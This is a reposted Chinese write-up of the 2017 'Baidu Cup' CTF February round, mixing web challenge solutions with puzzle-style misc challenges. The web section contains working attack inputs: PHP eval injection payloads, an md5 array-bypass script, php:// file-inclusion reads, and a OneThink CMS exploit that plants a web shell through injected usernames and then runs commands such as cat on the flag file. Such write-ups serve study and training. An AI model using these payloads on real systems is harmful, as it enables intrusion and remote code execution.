“百度杯”CTF比賽 2017 二月場(Misc Web)


  • 爆破-1

打開鏈接,是502

我直接在后面加個變量傳參數:?a=1

出了一段代碼

var_dump()函數中,用了$$a,可能用了超全局變量GLOBALS

給hello參數傳個GLOBALS

得到flag

  • 爆破-2

打開鏈接

var_dump()會返回數據變量的類型和值

eval()會把字符串當作php代碼

有兩種方法得到flag

1:?hello=file('flag.php')

2:?hello=);show_source('flag.php');var_dump(

  • 爆破-3

打開鏈接,還是php代碼

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

關鍵幾點:

變量str_rand的值是2位小寫字母

如果SESSIONS中的whoami參數和參數value的值相等,並且md5()函數處理后的變量value的第5位開始往后4位等於0,nums就會加1,whoami的值就也會更新,當nums大於10的話,就能得到flag了

數組可以繞過md5的這個判斷,因為md5()函數處理一個數組會返回null,null==0

第一次傳參,?value[]=ea

第二次傳參,?value[]=mj,以此類推

可以寫個python腳本跑一下

import requests

s = requests.session()

strs = ['abcdefghijklmnopqrstuvwxyz']

url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea"
r = s.get(url)

for i in range(10):
    url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2]
    r = s.get(url_1)
    print(r.url)
    if 'flag{' in r.text:
    	print(r.text)

運行結果

得到flag

  • include:

是一道文件包含題,打開鏈接

如果參數path的文件存在的話,則包含該文件;如果不存在的話,包含phpinfo.php文件

用php://input協議包含post請求的代碼

查看該目錄下的文件

發現一個可疑文件,查看一下內容

得到flag

也可以用php協議直接讀文件內容

php://filter/read=convert.base64-encode/resource=dle345aae.php

解一下base64就好了

  • OneThink

題目提示已知漏洞

百度一下相關的漏洞

參考鏈接:http://www.hackdig.com/06/hack-36510.htm

注冊兩個賬號,%0a$a=$_GET[a];//和%0aecho `$a`;//

注冊的時候要拿burp改包

創建完成后,依次登陸

訪問緩存文件:/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

加上參數a=ls

執行成功,找一下flag文件

a=cat ../../flag.php

得到flag

misc 1 禍起北荒

題目內容:億萬年前
天子之子華夜,被父神之神末淵上神告知六荒十海之北荒西二旗即將發生一場“百度杯”的諸神之戰
他作為天族的太子必須參與到此次諸神之戰定六荒十海
華夜臨危受命,馬上帶着火鳳凰飛行到北荒“西二旗”
卻沒想到這六荒之首北荒西二旗果然名不虛傳,這是一個位於六層虛數空間上的時空大陸
他需要闖過每一層虛數空間,方能到達虛數空間
第一層虛數空間是需要與一個上古神器“i春秋”進行智能比拼,獲取開啟第一層虛數空間的flag
啟動法訣: 元宵節百度杯與紅包更加搭配喲!
flag格式:flag{****}

在微信上跟i春秋公眾號的機器人聊天得flag

misc 2 上古神器

題目內容:第二層虛數空間是上古之神密神守護,密神精通各類法器加密解密珠算之法更是出神入化。
華夜十分客氣對密神道:在下是天族太子華夜。赴諸神之戰,還請上神行個方便,讓在下通過這第二層虛數空間
密神聽了華夜的話之后,十分激動:如果你要通過第二層虛數空間,沒有問題,但是你需要幫助我將這個波斯傳來的“波利比奧斯棋盤”上的秘密解決掉
華夜拿到該棋盤,只見棋盤盒上分布着一串十分奇異的數字:
“3534315412244543_434145114215_132435231542”
華夜微微思量,只見他大袖一會,手上立馬變出一個計算器,瘦削的指尖快速的點擊
一萬年之后。。。
華夜通過他神力,終於揭開了棋盤山的秘密。。
密神見之十分欣喜,望着月亮升起的地方憂傷的道:實不相瞞,我守護者這第二層虛數空間已經上萬年,在這期間無數人想要通過第二層的虛數空間,但都無功而返。不是我為難他們,而是通往第三層虛數空間的法訣就是這棋盤的秘密。
多少年來無人成功。太子你年紀輕輕就有如此神力,實在是后生可畏。
flag格式:flag{****}  全為小寫字符串

把上面那串數字進行解密,加密方式為波利比奧斯棋盤

把上面那串數字兩兩一組,按照表先橫后豎地比對

得到

misc 3 此去經年

題目內容:第三層虛數空間是由一位已經隕落的上古劍聖--獨孤求敗一手創立的,據說這位上古大神痴迷詩詞,其中最愛的便是一首解謎詩
原本有心花不開
偶爾有人來相伴
悔時無心已有淚
吞下口去悄無聲
來者耳邊輕輕訴
缺少左邊心相印
東風帶走一二點
一生只敗在了兩件事上,第一件事是這首解謎詩
另外一件事是,沒有動用絲毫武力便敗給了勁敵東方不敗
失敗的原因沒能填滿東方不敗出的一首詩句
他將這首殘詩刻在了通往第四層虛數空間的通關法訣上
只有填滿句詩詞,才能走出這層虛數空間
5LiD5pyI5Zyo6YeOICA=
5YWr5pyI5Zyo5a6HIA==
5Lmd5pyI5Zyo5oi3
flag格式:flag{*****}

把上面三行進行base64解密

import base64

print(base64.b64decode('5LiD5pyI5Zyo6YeOICA=').decode())
print(base64.b64decode('5YWr5pyI5Zyo5a6HIA==').decode())
print(base64.b64decode('5Lmd5pyI5Zyo5oi3').decode())

得到三句詩

百度一下這首詩

十月這句就是flag了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM